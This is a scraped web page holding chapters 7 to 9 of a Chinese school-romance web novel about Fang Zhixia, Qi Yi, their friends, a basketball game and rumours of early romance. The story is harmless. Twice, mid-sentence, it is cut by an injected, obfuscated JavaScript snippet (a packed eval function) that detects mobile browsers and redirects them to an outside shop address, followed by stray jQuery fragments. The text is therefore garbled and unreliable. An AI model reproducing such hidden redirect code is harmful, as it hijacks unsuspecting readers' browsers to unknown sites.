《抓住夏天的尾巴》
7. Chapter 7
由于早上的徐牧飞早读迟到事件,这一整天,祁奕对方枳夏的态度都不错。
实验一中的作息表里,午休时间不长。
除去住校生可能会回宿舍,走读生为了节约时间,基本都是去食堂吃完饭就回教室。各自安静趴着休息,或是刷题写作业。
这天中午,方枳夏挽着林言心去食堂。
今日食谱上有她最喜欢的川味口水鸡,红彤彤的辣油,浸着滑嫩的鸡腿肉。
在如此炎热的夏天,看着都很诱人。
但也许所有学校的食堂阿姨都是统一培训过的,打菜的手总是会抖上两抖,并且精准地抖掉几块肉,留下豆芽之类的配菜。
方枳夏轻叹一声气,只能端着只剩两三块鸡腿肉的餐盘去找座位。
中午刚下课这个点,食堂人很多。
她和林言心找到空位坐下,没多久,祁奕也过来了,身边还跟着他们另外两个发小王泽和吴柏豪。
王泽打得米饭是其他人的三倍多,还额外加了两个包子,也难怪他能长得这么壮实。
他把餐盘往桌上一放,大咧咧地坐下,笑着说:“诶呀,方哥也在!太巧了,这桌正好空出来五个位置。”
祁奕很自然地坐到了方枳夏正对面的位置。
方枳夏抬眼,发现他的餐盘里也打了一份口水鸡,就正好在最靠近她的那格。
熟悉祁奕的人都知道,他基本不怎么吃辣。
方枳夏理所当然地笑纳了,把自己餐盘里放着糖醋排骨的一格转向他那边,跟他分享。
王泽是有点社交牛逼症体质的,刚才老远就看见方枳夏旁边带着的林言心,笑嘻嘻地问:“这位妹妹好像之前没见过,也是学霸班的吗?”
“……”
方枳夏瞅他一眼:“去去去,别随便调戏女同学,好好吃你的饭吧。”
王泽举起四根手指,义正言辞地给自己澄清:“我哪有调戏女同学!清清白白的友好交流啊!”
林言心茫然了一瞬,点点头,声音在嘈杂的食堂显得很轻:“…嗯,我是一班的,方枳夏的同桌。”
她犹豫了下,还是鼓起勇气多说一句:“你们都是朋友吗?”
王泽嚼着一块牛肉,含含糊糊应道:“对,我们四个家住一个小区,从小玩到大的。”
他咽下那块肉,很自来熟地主动介绍:“我叫王泽,叫我阿泽就行。这个是吴柏豪,我们平时叫他土豪。”
林言心也细声介绍了自己的名字。
王泽激动道:“哇,随便一说,果然是林妹妹啊。”
吴柏豪也忍不住翻他白眼:“…红楼梦一页都没看过的人,别乱给人取外号。”
“嘁,就你读书多。”
有王泽在,不管身边的人再不爱说话,都不会冷场,甚至耳边都安静不下来。
他一边吃着饭,一边把自己和吴柏豪的情况全都重新交代了个差不多。
他在实中这级最末尾的班,而且按中考成绩,他原本是考不进重点的,好在他爹‘高瞻远瞩’,初中时领着他去考了二级运动员的证。
按照桐安这几年的政策,报志愿的时候能加点分,正好就擦边进来。
吴柏豪文科成绩很好,从小就爱看书,尤其喜欢历史,对理科完全提不起兴趣。
所以别看他现在在偏中等的班级,等文理分科之后,估计直接就进文科尖子班了。
王泽这人话实在太多,林言心听了半天,也没刚才那么局促,认真应和道:“那确实比较适合选文科,大学也可以选历史相关的专业。”
吴柏豪:“我也这么想。但家里人还是更希望我选理科,觉得文科生不好就业。唉,等分科的时候再说吧。”
林言心深以为然道:“嗯,一般家长和老师都会这么想。”
上学的时候,交朋友好像是件格外容易的事。
即使对性格内向或者冷漠的人也是如此。
原本毫无交集的几个人,吃了顿饭的功夫,也就算是认识了,而且不像大人之间那样掺杂着利益的关系,一切都很纯粹。
等交流暂告一段落,方枳夏的筷子伸向对面祁奕的餐盘里,把那份鸡腿夹过来。
方枳夏吃东西的时候也不专心,回头望了一眼,看见打饭窗口那边卖水果的阿姨又添了满满一盆西瓜。
她转回头:“好像有刚切好的西瓜,祁…”
完整的名字还没叫出来,祁奕就搁下筷子,站起身,拿着饭卡去卖水果的窗口。
王泽抬起头:“奕哥,我也要。”
吴柏豪也抬起头:“哥,也帮我带一份。”
祁奕头也不回,无情道:“端不下,我就两只手,想吃自己去。”
王泽啧啧两声:“每次都搞区别对待。”
吴柏豪附和:“就是。”
林言心笑了下,有些感慨道:“你们关系真的好好啊。从很小就在一起玩吗?”
王泽噼里啪啦又开始报户口:“对啊,我们父母也基本都是一个单位的。我跟土豪和奕哥是幼儿园就在一起玩,方哥是一年级…还是二年级加入的。”
这么一提,方枳夏抬眸看了眼祁奕乖乖在水果窗口排队的背影,也不由想起小时候的事。
其实他们也不是刚开始认识关系就这么好。
尤其有刚见面她害祁奕挨揍的事,很长一段时间,祁奕见到她都没有好脸色。
但介于这人从小就是只纸老虎,也不会像她在乡下认识的那些小孩一眼,一言不合就动手。
祁奕最多是在小区里遇见她的时候,凶巴巴瞪她两眼,然后拉着他的朋友王泽和吴柏豪,离她远远的。
要说他们关系的第一个转折点,好像也是源于一次‘美救英雄’事件。
当时小学生之间很流行收集一种干脆面里赠送的卡片,卡片上印着不同的水浒传人物。
先开始有传闻说集齐所有卡片能找老板兑换一整箱干脆面,到后来越传越偏,甚至还出现了集齐108张金卡可以召唤神龙的版本。
祁奕小时候被外公外婆宠大,亲生父亲也大方,手里的零花钱多到花都花不完,是附近一带小学生中拥有卡片数量最多的。
方枳夏还依稀记得,那天是周末,她刚上完跆拳道兴趣班,下课回到家,蒋月娥派她去小区门口的商店买醋。
她刚到商店门口,就看见祁奕在请旁边一胖一瘦两个小弟吃干脆面。
没错,胖的是王泽,瘦的是吴柏豪。
王泽拿出里面的卡片,在商店门口激动地高呼:“哇,终于抽到吴用了!还是金卡!”
“奕哥,你快带回家,跟其他的放在一起,我们是不是已经集齐了啊?”
祁奕刚伸出一只小手,不远处跑过来几个高年级的男生,一把把那张卡片夺走。
王泽鼓着腮帮子:“喂,你干嘛!这是我们的!”
为首的高年级男生长得人高马大,很不讲道理,气势汹汹道:“我看见就是我的了。”
几人一边笑,一边传着看那张卡片。
祁奕作为他们三人小分队的‘领袖’,不乐意了,上前一步跟他们理论:“你这是抢劫!卡片是我们刚抽到的。”
高年级男生:“你叫它一声看它答应你不?答应了我就还你?”
后面跟着的其他几人还一副耀武扬威的态度。
六七岁的男生也是血气方刚,祁奕想去抢过来,为首的高年级男生就动手了,把他推得一个踉跄。
王泽和吴柏豪也上去,但实在是力量差距悬殊,不用想都知道打不过。
打了几个来回,这两人就很没义气地撒腿就跑。
留下祁奕一个人在人群中间。弱小可怜又无助。
方枳夏实在看不过眼了,但两拳难敌众手,她也打不过。
她一时间也忘记要买醋的事,审时度势瞅准目标,两个箭步冲上去,“嗖”得从一个高个子手里把那张金色卡片抽走。
趁他们还没反应过来哪又冒出个生面孔的女生,另一手拽着祁奕的胳膊,开始狂奔逃跑。
祁奕也很懵逼,被她拉着一路到了家楼下的单元门里,才停下。
两个人都跑得气喘吁吁。
方枳夏把那张金色卡片递回给祁奕,喘着粗气,语气坚定地说:“还你。最看不惯他们那种以大欺小的,以后他们再欺负你们,就来找我帮忙!”
祁奕捏着她递来的,已经皱巴巴的卡片,抿抿嘴,酝酿好半天,别别扭扭地说了声“谢谢啊”。
后来,方枳夏回家,因为忘记买醋,被蒋月娥念叨了一通。
再后来,祁奕被宋婉青带着去她家吃饭,他往她书桌上偷偷放了另外十张崭新的金色卡片,作为感谢礼。
……
方枳夏正琢磨着当时那几张水浒传卡片被她放在哪里了,祁奕端着两盘看起来就很新鲜的西瓜,放在她手边。
回忆里的小男孩,现在都长这么高了,穿着蓝白相间的校服,散发出蓬勃的少年气。
祁奕坐在她对面,拿水果叉叉起一块西瓜,漫不经心地问:“想什么呢,这幅表情。”
方枳夏瞄他一眼,故弄玄虚:“不告诉你。”
“…哦。”
-
那位家里给学校捐楼的纨绔富二代同学,从老师办公室被教育回来之后,整个人都安分了不少。
游戏机也被没收了,上课坐在位子上开小差,下课铃一响就生龙活虎地出去晃悠。
不是什么重要的事,祁奕也没放在心上,课间该刷题刷题,该睡觉就睡觉。
直到下午的体育课,袁友方进教室通知大家,实中从他们这届开始体育课的模式要改革,会丰富上课内容,为了让同学们有更加健康的身体备战高考,要充分调动大家的运动热情。
冠冕堂皇的话说了一堆,总之,主旨就两条。
首先是会增加不同的课程形式,比如定向越野、跆拳道、轮滑等等。
其次,这周体育改革课的任何老师还没到岗,暂时改成自由活动。
为了方便改革,他们年级把四五个不同班级的体育课时间都安排在一起,可以直接上大课。
所有,这周的自由活动也是很多班一起,操场、篮球场和室内运动馆里全都是人。
林言心不喜欢运动,但班主任又特别交代所有人不能在教室待着,要动起来。
到了上课时间,她就和方枳夏慢腾腾在校园里散步。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14406173|153448||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
学校的便利店挨着篮球场,两人进去买饮料的时候,听见外面传来齐刷刷的声音,还抑扬顿挫的。
“嘁——”
“嘁~~”
林言心轻声:“篮球场那边怎么了啊…是有什么大家都很讨厌的人在打篮球吗?好像也不至于吧。”
方枳夏笑了声,“不出意外的话,应该是祁奕在打篮球。”
“祁奕…嘁。”
林言心反应过来,也不禁笑出声。
怎么会有这么不适合打篮球的名字,大家一喊,就像是在集体叫衰。
林言心:“过去看看吧。”
方枳夏:“行。”
还没到篮球场,就看见场地两侧围了好多人,基本都是上体育课这几个班里的女生。
王泽他们班的体育课跟一班是同一个时间,他也脱了外套在场地里打球。
靠近之后,几乎是一眼就能看到祁奕。
今天天气很晴,被太阳一照,他好像整个人都在发光,清俊的面容在球场里格外亮眼,也怪不得引起围观。
连从小看他这张脸看到大的方枳夏都不得不承认,祁奕打篮球的时候看着比平时要更帅一点点。
林言心和方枳夏找了个角落的空位站。
祁奕正在运球,集中注意力躲避对方的阻拦。
他面前的人是徐牧飞…
应该都是临时组队,两人在不同的两边,看起来水火不容的。
早读课上那点未完待续的小矛盾,他们大概是默认要在球场上解决。
所以,明明是随便打的娱乐局,祁奕明显打得很认真,神态动作无一不专注。
方枳夏从他眼中看出了灼灼燃烧的胜负欲。
幼稚的男生们啊…
方枳夏从小没少看祁奕打球,自己对篮球也没多大兴趣,打算先走,但被林言心拉住。
“再看会儿吧,感觉还挺精彩的,比分咬得好紧。”
林言心指指对面。
王康林和外班的几个男生自发充当裁判,对面的记分牌那里有个人在翻分。
方枳夏说“好”。
祁奕从小学就喜欢打篮球,初中又是校队的,技术没得说。但没想到这个徐牧飞打起篮球也有两把刷子,他们队的比分一大半都是他进的球。
旁边的几个女生在议论。
“哇,这个祁奕和徐牧飞都好厉害啊,而且长得好帅。看来我真的对尖子班男生的颜值有错误认知了。”
“我觉得祁奕更帅一点,像是青春偶像剧里的男主啊啊啊。”
“我更喜欢徐牧飞这种类型,他好撩啊,刚才往我们这边看,眼神好像在放电!”
“…我怎么觉得有点油腻呢。还是祁奕更帅,我喜欢他这种冷酷一点、清爽一点的。”
方枳夏没有和林言心讨论这俩人谁更帅的问题,都在专心致志看球。
两节打完,有短暂的中场休息,充当裁判的同学吹哨时,两队的比分还是只有两分之差。
徐牧飞撩起上衣擦汗,旁边有女生看到他露出的腹肌,在压低声音尖叫。
方枳夏移开目光,撇撇嘴。
她对男生在人多的公开场合掀衣服或者脱衣服的行为没什么好感,会让她想起小时候在乡下住时那些光着膀子坐在家门口聊天的大爷。
好在祁奕没这个臭毛病。
再次抬头时,熟悉的人正朝她靠近。
这个点的太阳在西边,从祁奕身后照过来,映得他头发颜色比平时稍浅些。
他下巴微扬,因为刚才压着哨音进了个三分球,这会儿心情好像相当愉悦,下巴微微扬起,唇角弯成很浅的弧度。
配合被阳光染得泛金的发色,远远看去,像一只正在摇尾巴的大金毛。
祁奕走在方枳夏面前站定,旁边的女生在窃窃私语跺脚。
他额头和下颌线上有晶莹的汗珠,但也闻不到什么汗味,只有清爽的洗衣液香味。
方枳夏能感觉到,因为他的靠近,篮球上两侧很多围观群众的目光都在往她这边集中。
她摸了摸鼻子,干巴巴问:“你干嘛?”
刚刚还在剧烈运动,祁奕呼吸比平时更沉,嗓音也低些,垂着眼眸看她:“帮我去便利店带瓶水?”
他语气懒洋洋的:“好累,想休息会儿。”
方枳夏挑了下眉毛,思维还没跟上,但语言先行,好像已经形成某种条件反射似的。
“哦,先叫声大哥听听呢。”
祁奕微眯起眼。
他们旁边的同学都听到了,刚才多少有些八卦或者羡慕的目光都转成了诧异。
尤其他们本班的同学。
方枳夏反应过来她旁边有多少人在看着,不敢再逗他,麻溜拉着林言心跑去便利店。
“…冰镇的宝矿力对吧?对,好,就是宝矿力,你等着啊。”
身后,祁奕从篮球架上外套口袋里拿出纸巾擦汗,听到她语速飞快的一连串自问自答,又望一眼她箭步如飞的背影,轻笑了声。
方枳夏。
这什么人啊,人一多就怂。
所以只会在没人的地方占他便宜。
真就是蔫儿着坏。
8.Chapter 8
方枳夏把宝矿力买回来时,祁奕身边已经围了一群人。
有曾经初中跟他同班的同学给他加油打气、分析战术,有一动不动就站在旁边盯着他看的,还有几个胆子大的外班女生,问他要q.q或者微信号。
那几个女生都很漂亮,要联系方式的理由也十分冠冕堂皇,要跟他探讨学习方法,或者约他周末去打篮球。
当然,都被他用老理由拒绝了。
虽然祁奕的托词简单又冷漠,但态度都挺礼貌,中场休息的时间又短,没人死缠烂打,要不到联系方式,就继续在球场旁边等着看他打下半场。
方枳夏看到那么多人在,有点不太好意思过去。
祁奕远远看见她,转过身。
两人的目光在人群中交汇。
方枳夏举起水瓶向他示意了下,祁奕招招手,让她扔过去。
可她的准头太差,投掷过去,水瓶在空中形成一个抛物线,落点大概距离目标两步远。
于是祁奕上前两步,伸手,精准接住。
方枳夏更觉得她是在和小狗玩投球接球的游戏,一句“乖狗狗”就在嘴边,但好在这次忍住了。
她抬起头,看见金色的日光下,少年拧开瓶盖,仰起脖子喝水,喉结随着吞咽的动作微微滑动。
像大部分打篮球的男生一样,祁奕也是咕咚咚喝完一整瓶,而后习惯性把塑料瓶捏扁,精准地投掷进最近的垃圾桶里。
旁边有人在低呼“好帅”。
下半场球赛很快就开始,休息完的祁奕精神抖擞,继续全神贯注得打篮球。
比分仍然咬得很紧,这场精彩的球赛,吸引过来的围观群众越来越多,后来篮球场四周的位置都不够站了。
还有学校的体育老师过来,把球场上临时充当裁判的同学替换下来,主动上场去吹哨。
赶在下课铃响后的几分钟,这场球赛终于结束。
祁奕他们队以一分之多险胜。
最后一个决定胜负的球是王泽传给他,他跳起来在篮筐下投进的两分。
裁判一吹哨,大半的围观群众都在高呼“祁奕”的名字。
篮球场这边一时间又是此起彼伏的“嘁~”声。
听起来还挺丧气的。
一会儿还有节班会课,打球的男生和围观同学都陆续散了。
徐牧飞虽然输了,但显然并不服气。
离开篮球场时,从祁奕身边经过,留下很刻意的一声冷笑。
王泽并不知道这两人先前就有过小摩擦,等他离开,凑到祁奕不满道:“也不知道他在拽什么,球打得也就那样吧,初中当时全市联赛的时候都没见过他。”
祁奕没说话,也懒得理,穿好校服外套,往教学楼方向走去。
-
没想到的是,这场随便一打的篮球赛结束,祁奕就在实验一中小范围内出名了。
打篮球的照片也被发在社交媒体上,带着桐安市实验一中的话题,评论楼数多得刷都刷不完。
学校规定不让带手机,但偷偷带手机的人还是多,胆子大敢拍照的人也多。
跟祁奕一起出名的还有方枳夏和徐牧飞,在照片里,他们也都有出镜。
关于两位男生的讨论,大多还是集中在谁更帅的这个问题上,再有就是这两位帅哥刚开学就好像互相看对方不顺眼。
也有在省会念书的知情人士透露,徐牧飞家里开了个家具城,在当地非常有钱,初中时就有很多追求者。
而方枳夏会一起出名的原因不仅是她的成绩和长相,更是因为…她跟祁奕的关系。
当时篮球赛中场休息的那段对话在学校里传来传去,就渐渐变味。配合早读她站出来帮祁奕说话那件事,有人说她想给祁奕当大哥,还有人说她就是祁奕的大哥。
初中就跟他们一个学校的同学再这些传言中又助力了一把,说他们是从小就在一个屋檐下长大的青梅竹马。
其实,青梅竹马这词,方枳夏一直也没少听。
但自从过了青春期,他们年龄渐渐大了,再听到这四个字就总觉得带着点暧昧的意味。
就好像在说她跟祁奕在谈恋爱一样。
跟祁奕谈恋爱…光想想都好可怕。
他们熟到这种程度,认识快十年,互相之间什么黑历史和糗事都一清二楚,应该都没把对方当做异性了。
学校里的八卦和传闻总是源源不断的,大家也不会一直把注意力放在同一件事,或是同几个人身上。
可这段时间偏偏就轮到他们了,一连好几天都没消停。
甚至好几个课间都有外班甚至其他年级的同学来他们班门口围观。
过了一周,这些消息有一部分传到了他们班主任袁友方耳朵里。
也不知道是谁第一个说“祁奕他们的事老师也知道了”,总之,得知这个消息时,方枳夏正趴在桌上写数学作业。
林言心凑到她耳边,小心翼翼地轻声说:“我发誓,绝对不是我告诉老师的。”
方枳夏正在演算的手停了一下,转头看她,有些不明所以地笑道:“肯定不是你啊。而且也没什么事…大部分不就是同学之间开玩笑,老师知道也就知道了,又没什么大事。”
至于小部分传她跟祁奕早恋的,那更是完全的空穴来风,没什么可担心的。
林言心松一口气:“那就好。”
她顿了下,又坚定地补充道:“你放心,同学之间任何私下的事,我都不会给家长和老师说的。”
方枳夏:“我当然一万个放心。”
她用笔帽轻戳戳林言心的胳膊,“怎么突然说这个?是班里还有人说别的什么吗?”
“不是不是。”
林言心摇头,咬了咬唇,不太自然道:“我爸是我以前初中的教导主任,每次班里同学有什么事被学校和老师知道,他们都以为是我说的。”
“…所以初中的时候也没人敢跟我交朋友,说什么小话也都避着我。”
“啊…”
方枳夏皱起眉:“太惨了吧。”
林言心拨了下头发,“算了,不说那些,都是以前的事了。你数学作业的最后一道压轴题写了吗?”
方枳夏把笔在指尖转了个圈,点点刚才在草稿纸上写得步骤,“最后答案算出来好像不大对。”
林言心看了会儿她的解题流程,凝神思考片刻:“过程感觉是对的啊。再问问别的同学?”
方枳夏转过头,看向她们后排的两个男生。
王康林正在奋笔疾书写语文作业的阅读题,祁奕趴在旁边睡觉。
王康林这人话很少,而且太正经,做什么事都是满脸严肃的。
开学快半个月,除了有班级事务之类的正事,方枳夏几乎都没跟他说过话。
她想了想,目光落在斜后方祁奕毛绒绒的脑袋上,伸出笔杆,点点他的发顶。
祁奕抬起头,臭着脸瞄她一眼。
“干嘛,方枳夏,你无不无聊。”
方枳夏:“你数学作业写了吗?”
祁奕掩面打了个哈欠:“上节课就写完了。”
上节课是历史。
这人又在文科课上写他感兴趣的理科的作业。
方枳夏伸手:“看看最后一道题的步骤。”
“光看看得懂吗?”
祁奕懒洋洋从桌兜里掏出练习册,丢给她。
方枳夏白他一眼:“瞧不起谁呢,我看不懂肯定就是你写错了。”
林言心也转过头。
王康林好心地把笔盒挪了挪,给他们腾出个位置。
林言心指向中间的一步:“哦,这里我们少讨论了一种情况。”
方枳夏顺着他的步骤看了一遍:“好吧,应该是的,那答案就是(-∞,-8)。”
王康林冷不丁出声:“应该还有个-1/2。”
“我设另一种组合的未知数,算出来的是(-∞,-8)和-1/2的并集。”
祁奕眯了下眼,疑惑地接过他拿出的练习册。
他扫了一遍,平声指出:“这种情况应该不存在,未知数设的没问题,但要排除x≠-1。”
王康林:“哦哦哦,对对,唉,是我粗心了,而且你这种设法步骤确实更简单。”
祁奕有点小得意的勾了下唇。
很细微的小表情,但被方枳夏捕捉到,她白了他一眼。
祁奕把数学练习册收回去:“你物理作业写了吗,今天最后一道题你肯定写不出来。”
方枳夏不服气道:“你等着,我分分钟写出来。”
正讨论着,袁友方从前门进来。
他刚过来,就看见班里这几个尖子生在认真专注地讨论题目。
袁友方挺着肚子,颇为满意地点了点头。
他安排座位的模式果然是对的,成绩差不多的同学坐在一起,互相帮助、共同进步,大家比赛着学习。这样下来,他这届带的尖子班重本率一定会大大提升,说不定还能多出几个清北。
至于年级里传的那些什么早恋、大哥小弟、同学矛盾之类的事,应该都是那些不把心思放在学习上的学生议论的,都是无稽之谈。
袁友方当了这么多年老师,本来心里就大概有数。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14411586|153448||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
/p>
看到这热火朝天的学习交流场面,他更加笃定了。
方枳夏转过头,恰好对上班主任的目光。
袁友方和蔼道:“没事,继续学习吧,保持这个劲头,很好。”
他走到祁奕的课桌旁,“祁奕,你放学去趟我办公室,叫上徐牧飞一起。”
祁奕:“…好。”
-
祁奕也是不怎么想搭理徐牧飞的。
有些人可能就是天生跟他不对付,也没必要计较。
这两周,徐牧飞处处跟他作对,除了早读课被老师训过没有再迟到了,其他时候都暗戳戳找茬。
午休时有时候他想拉上王泽他们去打球,徐牧飞就去抢他喜欢的那个球场位置;走廊遇到时,徐牧飞就朝他冷笑或者翻白眼;体育课上,他总是要组一队跟他打球。
最离谱的一次是在小卖部,他给方枳夏带草莓酸奶,刚要伸出手从冷柜里拿,徐牧飞就先他一步,把货架上剩下的六瓶草莓酸奶全都买走。
祁奕自认为,从他幼儿园毕业,就没再做出过如此幼稚又无聊的举动。
于是,这天放学,他让王康林代为跟徐牧飞传达一下袁老师的通知。
最后一节下课铃声一响,走廊里传来嘈杂的脚步声和说话声。
班里的同学也都立刻冲去食堂抢位置。
方枳夏转了下头:“要帮你打包份晚饭吗?”
祁奕点头:“好。我要双份糖醋排骨。”
方枳夏斜他一眼:“还不一定有呢,我带什么你吃什么吧,不给你菜里下毒就不错了。”
她挽起林言心的胳膊,悠哉悠哉去食堂。
“……”
祁奕到达袁友方办公室时,徐牧飞已经先他一步到了,吊儿郎当站在办公桌前。
他站在旁边,跟他隔开大概两人宽的距离。
袁友方清清嗓子:“既然都到了,先说第一件事。你们体育老师前两天过来找过我,想让你们加入实验一中的校队,你们是什么想法?”
他解释道:“尖子班的学习任务中,一般是不参加这些活动的。但你们体育老师也跟高一的年级主任征求过意见,年级主任的意思是在不影响学习的情况下,可以参加,但要控制好训练时间。不能像普通班的同学一样,一到比赛之前,课都不上了,全请假去练球。”
祁奕:“好,我参加。”
徐牧飞:“嗯,参加。”
袁友方点头:“行,具体什么时间训练让体育老师跟你们商量着定,前提就是不能占用上课时间啊。”
两人都点头。
袁友方要说的第二件事就是同学关系问题,他们俩有矛盾的事现在年级里、乃至学校里人尽皆知。
但这种事,老师来说向来是没用的,只能说些老生常谈的,诸如同学之间要搞好关系、等毕业之后你们就知道怀念了、同学之间的友谊弥足珍贵什么的。
最后再严肃地强调:“咱们实验一中是市重点,对打架这类不良行为一向是会严肃处理的,一旦出现,轻则给处分,重则开除。你们这个年纪的男孩子,做事容易冲动,但十六七岁也都不小了,要知道掂量掂量轻重。”
两人:“……”
这件事说完,袁友方就让徐牧飞先去吃饭,留祁奕一个人在办公室。
他犹豫了下,开口:“还有件事呢,老师本来是不打算说了。但作为你的班主任,还是跟你提一下。”
“高中阶段最重要的事是学习、备战高考,其他什么的等毕业之后都有大把的时间。听说你跟方枳夏是从小一起长大的,你们又都是很优秀的学生,至于这个早恋的影响——也不用我多说。”
祁奕立刻道:“我跟她没有早恋。”
他语气很坚决,义正言辞地说:“袁老师您放心,就算跟谁早恋我也不会跟方枳夏早恋的。”
除非他嫌自己命太长,不然就是嫌过去的十年被她欺负得还不够惨。
袁友方松一口气,推了推眼镜,“嗯,对,尖子生之间更不能早恋。跟谁早恋也不能…”
意识到不对劲,他马上改口:“不对!是坚决不能早恋,高中三年严禁谈恋爱,把心思都给我放到学习上去!”
祁奕乖乖点头说“好”,眼神也十分坚定诚恳。
袁友方暂且满意了,摆摆手,让他也去吃晚饭。
等祁奕出办公室带上门,袁友方又想起这段时间在他们班教室门口逮到过的众多外班女生,摇了摇头。
祁奕这种长相的男孩子,长得又高,成绩还好,在这方面确实很有隐患。
还好他今天提醒到位。
9.Chapter 9
祁奕从袁友方办公室出去没过久,就撞见要招他进校篮球队的体育老师。
体育老师笑眯眯地拉着他去讨论训练时间的问题。
高中的课业的确繁重,周末单休,平时每天还有漫长的晚自习,能空出来的时间屈指可数。
袁友方又立过规矩,不能占用正常的上课时间。
对着一班课表和学校的作息时间表商量来商量去,他们最后把训练定在了周日下午、几个大课间,还有周二班会课这几个时间点。
祁奕跟体育老师聊完,距离晚自习开始就只剩十几分钟,这回是真的没时间去食堂,刚刚吃过晚饭的同学们都陆陆续续回来了。
回到教室,方枳夏也已经坐在位置上转着笔埋头写作业。
她这人的生物钟也有问题,一到晚上九点就没精神学习,所以每天都会在这个时间之前写完所有作业。
之后的一个多小时,基本都是在发呆、看闲书或者偷偷玩手机中度过。
祁奕跟她完全相反,越晚越精神,尤其晚上九十点钟,正是他思路最清晰的时候。
他回到座位,桌上摆了透明塑料袋装着的打包饭盒。
好多在食堂找不到位子的同学都会把饭打包回来吃,这会儿教室里就弥漫着各种食物的味道。
祁奕拿出饭盒,掀开盖子,然后眉头微皱起来。
里面整整三格盛菜的位置,装的都是同一个菜,还是他最不喜欢吃的炒豇豆角。
祁奕伸腿,轻踢了踢斜前方女孩的凳子。
方枳夏转头,凶巴巴瞪他一眼:“你大哥正专心做题呢,安静点!”
“……”
祁奕默了下,还是问:“为什么只有豇豆?”
方枳夏没好气道:“我也去晚了,其他菜都被打得只剩汤和调料了。知足吧你,有的吃就不错了。”
祁奕暗叹一口气,拿出筷子,面无表情地夹起一根豇豆。
等方枳夏写完手头那道题,才有心情搭理他。
她再次转过头,“对了,刚才袁老师叫你和徐牧飞过去说什么啊?调节矛盾?”
祁奕小时候被外公外婆惯的特别挑食,方枳夏刚认识他的那一年,两家人一块吃饭,一餐桌的菜他挑挑拣拣,这也不吃那也不吃。
后来被宋婉青教育得坏毛病少了很多,挑食种类也减少了,但豇豆他还是一直不怎么爱吃,总说有股怪味。
此时方枳夏看到他一脸不满意地吃豇豆,好笑地弯了弯嘴角。
祁奕轻描淡写道:“嗯,还有篮球校队的事。”
方枳夏:“你高中也要去校队打比赛啊?”
祁奕微挑了下眉,“为什么不打。”
“行吧。”
方枳夏习惯性转着手里的笔杆,又问:“就这点事说了这么长时间?”
祁奕搁下筷子,掀起眼皮看她一眼,也没隐瞒,直言道:“哦,还有,提醒我不要跟你早恋。”
“呸!”方枳夏咬咬牙,“这还用提醒,谁会跟你早恋啊,就算你有这种想法,也是在做梦。”
祁奕轻飘飘道:“那肯定是我做了噩梦。”
餐盒里的豇豆太多,他实在吃不完,把剩下的收回袋子里,出教室门去丢垃圾。
那天夜里,祁奕还真做了个很恐怖的噩梦。
他梦到方枳夏突然变成了一只穿着绿油油衣服的豇豆精,缓慢靠近他,把他逼到一个墙角,然后用一把豇豆形状的刀抵在他喉咙上,阴森森地问他要不要跟她早恋。
还威胁说,如果他不同意,她就要把他也变成豇豆。
深更半夜的,祁奕都被吓醒了,起床去客厅灌了大半杯水才缓过来。
-
好不容易结束一周的课程,周六这天不用上晚自习,同学们正欢天喜地等着迎接那短短一天的周末假期,不想,却在放学前听到班主任的通知。
——下周一有督导过来检查,让他们在放学后先留下,进行一次全面的卫生大扫除。
班里的同学们叫苦连天,但不得不做。
第一周班会课随便任命的卫生委员终于派上了用场,应袁老师要求,她迅速制作了一份大扫除任务安排表,贴在教室前面的黑板上。
方枳夏跑过去看,嘴角抽了抽。
这卫生委员也是个安排任务的鬼才,再不然就是故意的。
她、祁奕、徐牧飞被分在了同一组,任务是擦教室外面走廊的窗户和窗台。
方枳夏无话可说。
她看完安排表,转头回位置时,就发现教室最后一排的徐牧飞吊儿郎当地背着书包,已经准备走了。
祁奕这会儿去了卫生间。
开学已经好一段时间,方枳夏跟班上的同学也差不多都认识,没刚开始那么不自在,犹豫几秒,快步去教室后门,拦住徐牧飞,没什么情绪地说:“先别走,留下做卫生。”
虽然早读那天方枳夏就站出来帮祁奕说话,但徐牧飞没把不满扩张到女生身上,平时两人见面,也就是当作不认识。
他没主动找过方枳夏的麻烦。
徐牧飞又没穿校服,身上只有一件印着BALENCIAGA logo的短袖,看她一眼,挑了下眉毛,“哟,学习委员也管做卫生的事?”
方枳夏听不来这种欠嗖嗖的阴阳怪气,深吸一口气,压着火气尽量跟他讲道理:“你跟我们是一组的,擦走廊的玻璃。你现在走了,我跟祁奕就要多分担你的任务。”
她懒得说太多,从教室后面墙上的挂钩取下一条抹布,直接丢到徐牧飞手里,指挥道:“书包放下,出去洗抹布擦玻璃。”
徐牧飞皱起眉头。
他从小到大也没遇到过这么冲到他面前找他茬的女生。
他站在原地没动,满脸不耐烦地看着方枳夏。
方枳夏也就这么看着他。
僵持好半晌,徐牧飞感觉自己心跳好像不大对劲。
这女的虽然凶,偶尔还爱多管闲事,又是他从小就讨厌的那种成绩很好的好学生,但长得倒是真挺好看。
尤其这么一动不动盯着他的时候,眼睛亮亮的,双眼皮很薄,皮肤白皙,额头上有细碎的头发垂下来,被她挽在耳后,眉毛微微皱着,看起来还有点气鼓鼓的样子。
徐牧飞别开头,内心长叹一声气。
算了。
好男不跟女斗,也不该欺负小女生帮他多干活。
徐牧飞这么安慰着自己,把书包扔回椅子上,捏着那块抹布刚要出教室,他想起一件事,转头叫住方枳夏。
“喂,玻璃怎么擦啊,我没擦过。”
“……”
